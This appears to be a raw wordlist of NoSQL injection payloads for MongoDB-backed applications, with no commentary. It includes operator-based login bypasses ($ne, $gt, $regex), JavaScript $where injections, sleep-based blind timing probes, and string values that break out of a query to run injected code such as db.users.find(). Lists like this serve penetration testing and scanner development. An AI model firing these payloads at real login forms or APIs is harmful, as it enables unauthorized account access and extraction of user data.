{"$gt": ""}
{"$ne": ""}
{"$regex": ".*"}
{"$where": "1==1"}
{"$where": "this.password == this.username"}
{"$exists": true}
{"$exists": false}
{"$in": ["admin", "root"]}
{"$nin": []}
{"$or": [{"username": "admin"}, {"role": "admin"}]}
{"$and": [{"username": {"$ne": ""}}, {"password": {"$ne": ""}}]}
{"username": {"$regex": "^admin"}}
{"username": {"$regex": "^admin", "$options": "i"}}
{"$expr": {"$eq": ["$username", "$password"]}}
true, $where: '1==1'
'; return true; var a='
db.collection.find({username: {$ne: ""}})
{"$where": "sleep(5000)"}
{"$where": "function(){sleep(5000)}"}
1 || 1==1
'; db.users.find(); //
